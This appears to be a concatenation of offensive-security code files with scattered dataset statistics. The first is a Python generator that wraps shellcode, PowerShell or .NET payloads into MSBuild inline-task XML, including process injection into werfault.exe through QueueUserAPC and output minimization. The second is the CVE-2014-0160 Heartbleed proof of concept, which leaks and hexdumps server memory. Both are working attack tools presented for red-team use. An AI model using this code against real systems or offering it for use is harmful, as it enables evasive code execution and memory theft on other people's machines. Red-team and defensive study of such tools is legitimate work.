payload = DecompressString(shellcode); IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(payload, 0, funcAddr, payload.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); CloseHandle(hThread); VirtualFree(funcAddr, 0, MEM_RELEASE); return true; } } ]]> </Code> </Task>''').safe_substitute( templateName = templateName, payloadCode = payloadCode ) else: # # The below MSBuild template comes from: # https://github.com/infosecn1nja/MaliciousMacroMSBuild # shellcodeLoader = string.Template('''<Task> <Code Type="Class" Language="cs"> <![CDATA[ using System; using System.Reflection; using Microsoft.CSharp; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; using System.Diagnostics; using System.Runtime.InteropServices; using System.IO; using System.IO.Compression; using System.Text; public class $templateName : Task, ITask { public static byte[] DecompressString(string compressedText) { byte[] data = Convert.FromBase64String(compressedText); using (var ms = new MemoryStream(data)) { using (var gzip = new GZipStream(ms, CompressionMode.Decompress)) { using (var decompressed = new MemoryStream()) { gzip.CopyTo(decompressed); return decompressed.ToArray(); } } } } public override bool Execute() { string shellcode = ""; $payloadCode byte[] payload = DecompressString(shellcode); string processpath = Environment.ExpandEnvironmentVariables(@"$targetProcess"); STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); bool success = CreateProcess(null, processpath, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, payload.Length,MEM_COMMIT, PAGE_READWRITE); IntPtr bytesWritten = IntPtr.Zero; bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,payload,payload.Length, out bytesWritten); IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); uint oldProtect = 0; resultBool = VirtualProtectEx(pi.hProcess,resultPtr, payload.Length,PAGE_EXECUTE_READ, out oldProtect); IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero); IntPtr ThreadHandle = pi.hThread; ResumeThread(ThreadHandle); return true; } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; private static UInt32 PAGE_READWRITE = 0x04; private static UInt32 PAGE_EXECUTE_READ = 0x20; [Flags] public enum ProcessAccessFlags : uint { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } [Flags] public enum ProcessCreationFlags : uint { ZERO_FLAG = 0x00000000, CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NEW_CONSOLE = 0x00000010, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_NO_WINDOW = 0x08000000, CREATE_PROTECTED_PROCESS = 0x00040000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_SEPARATE_WOW_VDM = 0x00001000, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_SUSPENDED = 0x00000004, CREATE_UNICODE_ENVIRONMENT = 0x00000400, DEBUG_ONLY_THIS_PROCESS = 0x00000002, DEBUG_PROCESS = 0x00000001, DETACHED_PROCESS = 0x00000008, EXTENDED_STARTUPINFO_PRESENT = 0x00080000, INHERIT_PARENT_AFFINITY = 0x00010000 } public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [Flags] public enum ThreadAccess : int { TERMINATE = (0x0001) , SUSPEND_RESUME = (0x0002) , GET_CONTEXT = (0x0008) , SET_CONTEXT = (0x0010) , SET_INFORMATION = (0x0020) , QUERY_INFORMATION = (0x0040) , SET_THREAD_TOKEN = (0x0080) , IMPERSONATE = (0x0100) , DIRECT_IMPERSONATION = (0x0200) } [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId); [DllImport("kernel32.dll",SetLastError = true)] public static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, Int32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true )] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess( ProcessAccessFlags processAccess, bool bInheritHandle, int processId ); [DllImport("kernel32.dll")] public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll")] public static extern uint ResumeThread(IntPtr hThread); [DllImport("kernel32.dll")] public static extern uint SuspendThread(IntPtr hThread); [DllImport("kernel32.dll")] public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); } ]]> </Code> </Task>''').safe_substitute( templateName = templateName, payloadCode = payloadCode, targetProcess = targetProcess ) launchCode = shellcodeLoader else: powershellLaunchCode = string.Template('''<Task> <Reference Include="System.Management.Automation" /> <Code Type="Class" Language="cs"> <![CDATA[ using System.IO; using System.IO.Compression; using System.Management.Automation; using System.Management.Automation.Runspaces; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; using System.Text; public class $templateName : Task { public static byte[] DecompressString(string compressedText) { byte[] data = Convert.FromBase64String(compressedText); using (var ms = new MemoryStream(data)) { using (var gzip = new GZipStream(ms, CompressionMode.Decompress)) { using (var decompressed = new MemoryStream()) { gzip.CopyTo(decompressed); return decompressed.ToArray(); } } } } public override bool Execute() { string shellcode = ""; $payloadCode byte[] payload = DecompressString(shellcode); string decoded = System.Text.Encoding.UTF8.GetString(payload); Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript(decoded); pipeline.Invoke(); runspace.Close(); return true; } } ]]> </Code> </Task>''').safe_substitute( templateName = templateName, payloadCode = payloadCode ) launchCode = powershellLaunchCode template = string.Template('''<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <!-- Based on Casey Smith work, Twitter: @subTee --> <!-- Automatically generated using `generateMSBuildXML.py` utility --> <!-- by Mariusz Banach / mgeeky <mb@binary-offensive.com> --> <Target Name="$taskName"> <$templateName /> </Target> <UsingTask TaskName="$templateName" TaskFactory="CodeTaskFactory" AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll" > $launchCode </UsingTask> </Project>''').safe_substitute( taskName = taskName, templateName = templateName, launchCode = launchCode ) return template def detectFileIsExe(filePath, forced = False): try: pe = pefile.PE(filePath) return True except pefile.PEFormatError as e: return False def minimize(output): output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output) output = output.replace('\n', '') output = re.sub(r'\s{2,}', ' ', output) output = re.sub(r'\s+([^\w])\s+', r'\1', output) output = re.sub(r'([^\w"])\s+', r'\1', output) variables = { 'payload' : 'x', 'method' : 'm', 'asm' : 'a', 'instance' : 'o', 'pipeline' : 'p', 'runspace' : 'r', 'decoded' : 'd', 'MEM_COMMIT' : 'c1', 'PAGE_EXECUTE_READWRITE' : 'c2', 'MEM_RELEASE' : 'c3', 'funcAddr' : 'v1', 'hThread' : 'v2', 'threadId' : 'v3', 'lpAddress' : 'p1', 'dwSize' : 'p2', 'flAllocationType' : 'p3', 'flProtect' : 'p4', 'dwFreeType' : 'p5', 'lpThreadAttributes' : 'p6', 'dwStackSize' : 'p7', 'lpStartAddress' : 'p8', 'param' : 'p9', 'dwCreationFlags' : 'p10', 'lpThreadId' : 'p11', 'dwMilliseconds' : 'p12', 'hHandle' : 'p13', 'processpath' : 'p14', 'shellcode' : 'p15', 'resultPtr' : 'p16', 'bytesWritten' : 'p17', 'resultBool' : 'p18', 'ThreadHandle' : 'p19', 'PAGE_READWRITE' : 'p20', 'PAGE_EXECUTE_READ' : 'p21', } # Variables renaming tends to corrupt Base64 streams. #for k, v in variables.items(): # output = output.replace(k, v) return output def opts(argv): parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <inputFile>') parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.') parser.add_argument('-o', '--output', metavar='PATH', default='', type=str, help = 'Output path where to write generated script. Default: stdout') parser.add_argument('-n', '--module', metavar='NAME', default='', type=str, help = 'Specifies custom C# module name for the generated Task (for needs of shellcode loaders such as DotNetToJScript or Donut). Default: auto generated name.') parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.') parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.') parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!') parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread (VirtualAlloc + CreateThread)') parser.add_argument('--queue-apc', action='store_true', help = 'If --raw was specified, generate C# code template with CreateProcess + WriteProcessMemory + QueueUserAPC process injection technique instead of default CreateThread.') parser.add_argument('--target-process', metavar='PATH', default=r'%windir%\system32\werfault.exe', help = r'This option specifies target process path for remote process injection in --queue-apc technique. May use environment variables. May also contain command line for spawned process, example: --target-process "%%windir%%\system32\werfault.exe -l -u 1234"') parser.add_argument('--only-csharp', action='store_true', help = 'Return generated C# code instead of MSBuild\'s XML.') args = parser.parse_args() if args.exe and args.raw: sys.stderr.write('[!] --exe and --raw options are mutually exclusive!\n') sys.exit(-1) args.target_process = args.target_process.replace("^%", '%') return args def main(argv): sys.stderr.write(''' :: Powershell via MSBuild inline-task XML payload generation script To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe' Mariusz Banach / mgeeky, <mb@binary-offensive.com> ''') if len(argv) < 2: print('Usage: ./generateMSBuildXML.py [options] <inputFile>') sys.exit(-1) args = opts(argv) _format = 'powershell' if len(args.inputFile) > 0 and not os.path.isfile(args.inputFile): sys.stderr.write('[?] Input file does not exists.\n\n') return False if args.exe: if not detectFileIsExe(args.inputFile, args.exe): sys.stderr.write('[?] File not recognized as PE/EXE.\n\n') return False _format = 'exe' sys.stderr.write('[?] File recognized as PE/EXE.\n\n') with open(args.inputFile, 'rb') as f: payload = f.read() elif args.raw: _format = 'raw' sys.stderr.write('[?] File specified as raw Shellcode.\n\n') with open(args.inputFile, 'rb') as f: payload = f.read() else: sys.stderr.write('[?] File not recognized as PE/EXE.\n\n') if args.inputFile.endswith('.exe'): return False payload = getCompressedPayload(args.inputFile, _format != 'powershell') output = getInlineTask(args.module, payload, _format, args.queue_apc, args.target_process) if args.only_csharp: m = re.search(r'\<\!\[CDATA\[(.+)\]\]\>', output, re.M|re.S) if m: output = m.groups(0)[0] if args.minimize: output = minimize(output) if args.encode: if len(args.output) > 0: with open(args.output, 'w') as f: f.write(base64.b64encode(output)) else: print(base64.b64encode(output)) else: if len(args.output) > 0: with open(args.output, 'w') as f: f.write(output) else: print(output) msbuildPath = r'%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe' if 'PROGRAMFILES(X86)' in os.environ: msbuildPath = r'%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe' sys.stderr.write(''' ===================================== Execute this XML file like so: {} file.xml '''.format(msbuildPath)) if __name__ == '__main__': main(sys.argv)
36.081448
269
0.577083
PenTesting
#!/usr/bin/env python2 # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS') options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) if opts.starttls: re = s.recv(4096) if opts.debug: print re s.send('ehlo starttlstest\n') re = s.recv(1024) if opts.debug: print re if not 'STARTTLS' in re: if opts.debug: print re print 'STARTTLS not supported...' sys.exit(0) s.send('starttls\n') re = s.recv(1024) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()
30.176471
122
0.576641